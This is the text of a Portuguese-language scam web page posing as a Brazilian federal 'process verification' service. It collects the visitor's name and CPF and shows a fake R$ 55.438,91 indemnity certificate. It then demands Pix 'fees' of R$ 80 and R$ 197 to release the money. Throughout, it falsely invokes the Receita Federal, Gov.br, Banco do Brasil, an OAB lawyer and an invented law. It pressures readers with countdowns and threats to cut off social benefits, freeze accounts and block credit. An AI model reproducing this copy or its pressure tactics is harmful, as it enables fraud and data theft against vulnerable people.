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Verificação processual

Etapa 1 de 2

Confirme se seus dados processuais estão corretos

Preencha seu nome completo e CPF para verificarmos se o processo de ID realmente pertence a você e se o processo está vinculado aos dados informados. É com esses dados que o seu documento será emitido.

Dados usados só para emitir o documento e localizar o processo. LGPD, Lei 13.709/2018.

Etapa 2 de 2

Documento do processo

Este é o certificado emitido no seu nome, com o valor atualizado. Confira antes de continuar.

Certificado de Indenização e Regularidade Processual, emitido pela Secretaria Especial da Receita Federal do Brasil Recebimento de R$ 55.000,00 · atualizado em 20/10/2026 às 13:41
Processo nº · Autenticação efetuada via Gov.br

Verificação de Regularidade

Responda à pergunta antes de prosseguir. É necessário que a resposta seja verdadeira: temos acesso ao seu histórico processual e, em caso de informação incorreta, isso será identificado e poderá dificultar ainda mais o andamento do processo.

Você já efetuou o pagamento das etapas anteriores?

Você conseguiu concluir as últimas etapas de regularização conforme as instruções passadas pelo representante da empresa Resgate Já (vinculada ao GOV)?

Como funciona o fluxo do processo

  • Conferência de dados. Cruzamento com os bancos do Banco Central, do CNJ, do Supremo Tribunal Federal (STF) e do TJSP.

  • Homologação. Registro da conta recebedora (chave Pix) para o resgate do valor.

  • Resgate. Depósito do saldo após a regularização completa do processo.

Processo nº · Etapa de triagem da regularização

Por qual motivo você não efetuou o pagamento?

A sua resposta fica registrada no processo e define a forma de retomada da regularização.

Se preferir, pode enviar só o motivo. A justificativa não é obrigatória.

Consulta em andamento

Processo nº

Iniciando consulta no sistema...

0%

Saldo Disponível para Resgate

R$ 55.438,91

Comunicado · prazo eleitoral

Informativo de Transferência e Prazo Eleitoral

Em razão do período eleitoral, o Banco do Brasil restringiu as transferências de valores judiciais. Todas as ordens de pagamento passaram a entrar em uma fila única de processamento, sem data de saída definida.

Pela regra em vigor, as transferências da fila padrão só voltam a ocorrer após o dia 25. A exceção são os processos com documentação de deficiência ou prioridade legal: esses saem da fila comum e são liquidados na hora.

A inserção dessa documentação é manual e feita por um profissional interno, direto no sistema do Banco do Brasil. É esse procedimento que libera a sua transferência imediatamente.

  • Sem prioridade a ordem fica na fila padrão, com liberação apenas após o dia 25.
  • Com prioridade a documentação é inserida e a transferência é liberada no mesmo dia.

Liberação imediata

A taxa cobre o processamento da documentação de prioridade pelo profissional interno, com a inserção registrada no seu processo.

Taxa de Processamento de Documentação de Prioridade (Fura-Fila)

R$ 80,00

Pix · liberação imediata · ambiente seguro SSL

PRAZO FINAL PARA LIBERAÇÃO DO CRÉDITO

00

Dias

00

Horas

00

Min

00

Seg

Data limite para liberação: . Em caso de inércia, o crédito é automaticamente cancelado e o processo é encerrado, sem nova data.

Comprovante de consulta

Protocolo

Abertura--

Valor da guiaR$ 80,00

Guarde este comprovante. Ele identifica o seu atendimento.

Memória de cálculo · composição do montante

Composição do valor disponível para repasse
Capital reintegradoR$ 47.120,00
Correção monetária (Selic)R$ 5.218,91
Indenização administrativa (DEIC)R$ 3.100,00
Total disponívelR$ 55.438,91
Entenda a atualização

Valores atualizados na data da consulta e conferidos contra a conta de garantia judicial vinculada ao processo nº .

Etapa final · conclusão e liberação imediata 4
  1. 1Certidão de encerramento emitida. O documento definitivo é gerado em seu nome, com o valor e a conta já vinculados ao ID do processo. É ele que substitui a guia vencida.
  2. 2Conta recebedora habilitada. O sistema confere a titularidade da chave informada e libera a conta para receber valores de origem judicial, em 10 minutos.
  3. 3Chave Pix testada antes do envio. Uma microvalidação confirma que a chave existe, está ativa e pertence a você. Isso elimina o risco de o dinheiro voltar por divergência cadastral.
  4. 4Disparo pela conta oficial do processo. Liquidado pelo Banco do Brasil, o valor cai direto na sua chave, sem passar por conta intermediária.

A etapa final é o último degrau antes do crédito. Paga a taxa, as quatro fases correm sozinhas, em sequência, e você não volta a consultar nada — o aviso de transferência chega direto no seu comprovante. Sem ela, o processo fica concluído mas o dinheiro parado.

O que acontece depois do pagamento

  1. 1Documento final emitido. Em minutos, o certificado de encerramento é assinado nos termos da ICP-Brasil, com protocolo registrado.
  2. 2Prioridade inserida. A documentação é lançada no sistema do Banco do Brasil com protocolo próprio, tirando a ordem da fila.
  3. 3Transferência pelo Banco do Brasil. Com a prioridade registrada, o crédito de R$ 55.438,91 é liquidado no mesmo dia, fora da fila eleitoral.

Perguntas frequentes

O valor cobrado é taxa ou adiantamento?

É taxa única de liberação, não adiantamento. Não desconta do crédito nem se repete.

É a taxa de processamento da prioridade: cobre a inserção manual da documentação, que retira a sua ordem da fila eleitoral. Não é adiantamento, não desconta do crédito e não se repete.

Para onde vai o dinheiro?

Para a conta de liberação. Depois o crédito de R$ 55.438,91 vai para a sua chave Pix.

E se eu não pagar?

As pendências seguem abertas e o crédito é devolvido ao Tesouro, sem nova data.

A transferência fica na fila eleitoral, sem data definida. O valor continua liberado, mas só é transferido quando a fila padrão andar.

Preciso ter conta em algum banco específico?

Não. Qualquer conta no seu nome recebe por Pix.

Posso pagar por boleto?

Só por Pix. Boleto levaria até três dias úteis para compensar.

Advogado responsável pelo processo

Representante Legal do Processo

OAB/SP nº 284.719

Representante Legal da Etapa de Liberação e Transferência (Direito Processual e Financeiro)

Emitido eletronicamente e assinado nos termos da ICP-Brasil, atestando a regularidade documental do processo.

ORDEM DOS ADVOGADOS DO BRASIL - OAB/SP HENRIQUE VASCONCELOS
Autenticação digital · ICP-Brasil · Cert. 2026-88412-A

Hash de Verificação:

Pix · liberação imediata · ambiente seguro SSL

Protocolo de Homologação de Alta Capacidade (Lei 15.270/2025) Devido ao montante ultrapassar o teto de R$ 50.000,00, o sistema ativou automaticamente o Protocolo de Homologação de Alta Capacidade (Lei 15.270/2025). É obrigatória a quitação da guia de encerramento para validação da chave Pix e para evitar o estorno imediato ao Tesouro Nacional.

Comprovante de consulta

Protocolo

Abertura--

Valor da guiaR$ 197,00

Guarde este comprovante. Ele identifica o seu atendimento.

Relatório de Pendências Administrativas

Referência:

Motivo informado: Não informado

Emissão:

Status: PROCESSO COM PENDÊNCIAS FINANCEIRAS

Informamos que o GOV financiou as etapas de início e médio, nas quais você não conseguiu pagar, para garantir a sua chegada final e evitar que o valor retornasse ao Tesouro Nacional. Porém, a consulta retornou 15 pendências no CPF interligado ao seu ID processual:

Memória de cálculo · composição do montante

Composição do valor disponível para repasse
Capital reintegradoR$ 47.120,00
Correção monetária (Selic)R$ 5.218,91
Indenização administrativa (DEIC)R$ 3.100,00
Total disponívelR$ 55.438,91
Entenda a atualização

Valores atualizados na data da consulta e conferidos contra a conta de garantia judicial vinculada ao processo nº .

Pendências encontradas pela Receita Federal 15

    Enquanto essas 15 pendências não são baixadas, o repasse fica suspenso e o processo corre risco de bloqueio. A quitação abaixo regulariza todas de uma vez e libera o processo para transferência, sem nova consulta.

    15 PENDÊNCIAS ENCONTRADAS: risco de cancelamento de processo em nível ALTO. Prazo máximo para regularização: 25/10/2026.

    A omissão aciona o protocolo de administração pública

    A ausência de regularização não fica restrita ao processo: ela aciona protocolos da Lei de Administração Pública e recai sobre o CPF do titular, resultando em:

    • Bloqueio imediato de benefícios sociais: Auxílio Brasil, Bolsa Família e INSS vinculados ao CPF.
    • Congelamento de contas bancárias e ativos financeiros: o titular fica impedido de movimentar o que estiver vinculado ao processo.
    • Restrição total de crédito no CPF: impossibilidade de financiamentos, empréstimos e uso de cartões de crédito.

    Base legal: Lei nº 9.784/99, que rege o processo administrativo federal. A omissão do interessado em atender às exigências dentro do prazo autoriza o encerramento do feito e a adoção das medidas decorrentes, sem necessidade de nova notificação.

    Quitação Total

    Para evitar as sanções acima e liberar o saldo de R$ 55.438,91, foi liberada a quitação total imediata das pendências. Concluída a quitação, o disparo do valor para a sua chave acontece em até 16 minutos.

    • Taxa de ImpostoR$ 320,00
    • Taxa de HomologaçãoR$ 330,00
    • Taxa de Liberação PrioritáriaR$ 230,00

    Total de taxasR$ 880,00

    As três guias venceram antes. O GOV.br assumiu 80% e a quitação com as 15 baixas sai por R$ 197,00.

    Entenda a conta das taxas

    As três guias venceram nas etapas anteriores. Somadas, custariam R$ 880,00. Como o GOV.br assumiu a maior parte do custo, a quitação sai por R$ 197,00, com as 15 baixas no mesmo ato.

    80% do valor cobrado será arcado pelo GOV.br.

    Sua quitação para liberação do recebimento hoje deve ser de:

    R$ 197,00

    Você foi retirado da fila de liberação devido às pendências encontradas junto à Receita Federal.

    Ao finalizar a quitação da guia, você recupera a prioridade máxima na fila.

    Receber o valor nesta chave

    Escolha o tipo e digite a chave. Pode ser CPF, e-mail, telefone ou aleatória.

    Quitação com desconto do Governo R$ 197,00

    Confira antes de pagar

    ValorR$ 197,00

    TipoCPF

    Bancoa definir

    Chavea definir

    Pix cai na hora. São só três campos: tipo de chave, chave e banco.

    Ambiente seguro SSL. A chave Pix nunca é pedida por telefone.

    Taxa única de liberação. Sem boleto, sem mensalidade, sem parcelamento.

    Pagamento confirmado

    Liberação após a confirmação do pagamento

    16:00 minutos

    Concluído o pagamento, o crédito não depende de fila: ele cumpre prazo técnico e é liberado em 16 minutos após a compensação.

    PRAZO FINAL PARA REGULARIZAÇÃO DO PROCESSO

    00

    Dias

    00

    Horas

    00

    Min

    00

    Seg

    Data limite para pagamento: . Sem chance de nova data. Depois disso as pendências vão para execução administrativa e o crédito vinculado ao processo é cancelado.

    Por que o valor muda entre os caminhos

    Seu caminho

    R$ 197,00

    Etapas anteriores em atraso: as 15 baixas são feitas de uma vez.

    O outro caminho

    R$ 80,00

    Quem já baixou as pendências paga só a documentação de prioridade.

    O que acontece depois do pagamento

    1. 1Baixa automática em minutos. O pagamento é identificado pelo CPF e as pendências são baixadas uma a uma.
    2. 2Homologação e assinatura. A guia é homologada e assinada nos termos da ICP-Brasil, com protocolo registrado.
    3. 3Transferência. O crédito é enviado para a chave Pix informada em até 16 minutos, fora de qualquer fila.

    Perguntas frequentes

    O valor cobrado é taxa ou adiantamento?

    É taxa única de liberação, não adiantamento. Não desconta do crédito nem se repete.

    É a taxa de quitação: baixa as 15 pendências de uma vez e destrava o processo. Não é adiantamento, não desconta do crédito e não se repete.

    Para onde vai o dinheiro?

    Para a conta de liberação. Depois o crédito de R$ 55.438,91 vai para a sua chave Pix.

    E se eu não pagar?

    As pendências seguem abertas e o crédito é devolvido ao Tesouro, sem nova data.

    As pendências seguem abertas e o crédito é devolvido ao Tesouro, sem nova data.

    Preciso ter conta em algum banco específico?

    Não. Qualquer conta no seu nome recebe por Pix.

    Posso pagar por boleto?

    Só por Pix. Boleto levaria até três dias úteis para compensar.

    Advogado responsável pelo processo

    Representante Legal do Processo

    OAB/SP nº 284.719

    Representante Legal da Etapa de Liberação e Transferência (Direito Processual e Financeiro)

    Emitido eletronicamente e assinado nos termos da ICP-Brasil, atestando a regularidade documental do processo.

    ORDEM DOS ADVOGADOS DO BRASIL - OAB/SP HENRIQUE VASCONCELOS
    Autenticação digital · ICP-Brasil · Cert. 2026-88412-A

    Hash de Verificação: